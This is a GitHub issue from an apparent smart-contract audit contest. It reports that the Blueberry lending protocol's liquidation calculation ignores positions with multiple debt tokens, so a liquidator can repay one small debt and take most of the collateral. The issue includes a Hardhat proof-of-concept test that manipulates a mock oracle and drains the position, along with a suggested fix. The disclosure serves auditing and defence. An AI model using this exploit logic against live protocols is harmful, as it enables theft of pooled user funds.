You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on May 26, 2023. It is now read-only.
github-actionsbot opened this issue
Mar 1, 2023
· 0 comments
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
Liquidate calculations are incorrect when position borrows more than 1 type of token
Summary
If a position has borrowed more than 1 type of token, then the liquidator (which can be the position owner) will get more collateral tokens and underlying tokens than they are supposed to when they call liquidate.
^^ Observe that these lines of calculation does not take into account the possibility of the position having multiple types of debt tokens.
Impact
A malicious user can purposely setup a position borrowing a lot of asset A and a little bit of asset B. When the position becomes liquidatable, the user calls liquidate on the position paying back all the asset B. The user will get all the collateral tokens (ICHI Vault tokens in this case) and underlying tokens without having to pay back the asset A debt. Clearly, the protocol will incur a heavy loss every time this happens. See the proof of concept below.
Code Snippet
Please put this test in bank.test.ts, and run yarn hardhat test --grep Vuln1
describe("Vuln1",()=>{constdepositAmount=utils.parseUnits('100',18);constborrowAmount=utils.parseUnits('300',6);constborrowAmount2=utils.parseUnits('1',18);constiface=newethers.utils.Interface(SpellABI);beforeEach(async()=>{awaitusdc.approve(bank.address,ethers.constants.MaxUint256);awaitichi.approve(bank.address,ethers.constants.MaxUint256);awaitbank.execute(0,spell.address,iface.encodeFunctionData("openPosition",[0,ICHI,USDC,depositAmount,borrowAmount]))awaitbank.execute(1,spell.address,iface.encodeFunctionData("openPosition",[0,ICHI,ICHI,0,borrowAmount2]))})it("borrowing multiple types of token",async()=>{constpositionIds=awaitbank.getPositionIdsByOwner(admin.address);console.log(positionIds);awaitichiVault.rebalance(-260400,-260200,-260800,-260600,0);letpositionInfo=awaitbank.getPositionInfo(1);letdebtValue=awaitbank.getDebtValue(1)letpositionValue=awaitbank.getPositionValue(1);letrisk=awaitbank.getPositionRisk(1)console.log("Debt Value:",utils.formatUnits(debtValue));console.log("Position Value:",utils.formatUnits(positionValue));console.log('Position Risk:',utils.formatUnits(risk,2),'%');console.log("Position Size:",utils.formatUnits(positionInfo.collateralSize));console.log('===ICHI token dumped from $5 to $1===');awaitmockOracle.setPrice([ICHI],[BigNumber.from(10).pow(17).mul(10),]);positionInfo=awaitbank.getPositionInfo(1);debtValue=awaitbank.getDebtValue(1)positionValue=awaitbank.getPositionValue(1);risk=awaitbank.getPositionRisk(1)console.log("Cur Pos:",positionInfo);console.log("Debt Value:",utils.formatUnits(debtValue));console.log("Position Value:",utils.formatUnits(positionValue));console.log('Position Risk:',utils.formatUnits(risk,2),'%');console.log("Position Size:",utils.formatUnits(positionInfo.collateralSize));expect(awaitbank.isLiquidatable(1)).to.be.true;console.log("Is Liquidatable:",awaitbank.isLiquidatable(1));console.log("===Portion Liquidated===");constliqAmount=utils.parseUnits("1",18);awaitichi.connect(alice).approve(bank.address,liqAmount)awaitexpect(bank.connect(alice).liquidate(1,ICHI,liqAmount)).to.be.emit(bank,"Liquidate");positionInfo=awaitbank.getPositionInfo(1);debtValue=awaitbank.getDebtValue(1)positionValue=awaitbank.getPositionValue(1);risk=awaitbank.getPositionRisk(1)console.log("Cur Pos:",positionInfo);console.log("Debt Value:",utils.formatUnits(debtValue));console.log("Position Value:",utils.formatUnits(positionValue));console.log('Position Risk:',utils.formatUnits(risk,2),'%');console.log("Position Size:",utils.formatUnits(positionInfo.collateralSize));constcolToken=awaitethers.getContractAt("ERC1155Upgradeable",positionInfo.collToken);constuVToken=awaitethers.getContractAt("ERC20Upgradeable",ichiSoftVault.address);console.log("Liquidator's Position Balance:",awaitcolToken.balanceOf(alice.address,positionInfo.collId));console.log("Liquidator's Collateral Balance:",awaituVToken.balanceOf(alice.address));})})
Observe that after the liquidation, the debt value barely changed. The position risk went from 116.07 % to 78839999982.57 %, and liquidator got almost all of the vault tokens and underlying tokens after paying very little.
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
evan
high
Liquidate calculations are incorrect when position borrows more than 1 type of token
Summary
If a position has borrowed more than 1 type of token, then the liquidator (which can be the position owner) will get more collateral tokens and underlying tokens than they are supposed to when they call liquidate.
Vulnerability Detail
https://github.com/sherlock-audit/2023-02-blueberry/blob/main/contracts/BlueBerryBank.sol#L522-L531
^^ Observe that these lines of calculation does not take into account the possibility of the position having multiple types of debt tokens.
Impact
A malicious user can purposely setup a position borrowing a lot of asset A and a little bit of asset B. When the position becomes liquidatable, the user calls liquidate on the position paying back all the asset B. The user will get all the collateral tokens (ICHI Vault tokens in this case) and underlying tokens without having to pay back the asset A debt. Clearly, the protocol will incur a heavy loss every time this happens. See the proof of concept below.
Code Snippet
Please put this test in bank.test.ts, and run
yarn hardhat test --grep Vuln1
Relevant output of the test:
Observe that after the liquidation, the debt value barely changed. The position risk went from 116.07 % to 78839999982.57 %, and liquidator got almost all of the vault tokens and underlying tokens after paying very little.
Tool used
Manual Review
Hardhat
Recommendation
https://github.com/sherlock-audit/2023-02-blueberry/blob/main/contracts/BlueBerryBank.sol#L529-L531
^^ Instead of multiplying by share/oldShare, they should be multiplying by
oracle.getDebtValue(debtToken, amountPaid)/oldTotalDebt
, where oldDebtValue isgetDebtValue(POSITION_ID)
beforerepayInternal
gets called.Duplicate of #127
The text was updated successfully, but these errors were encountered: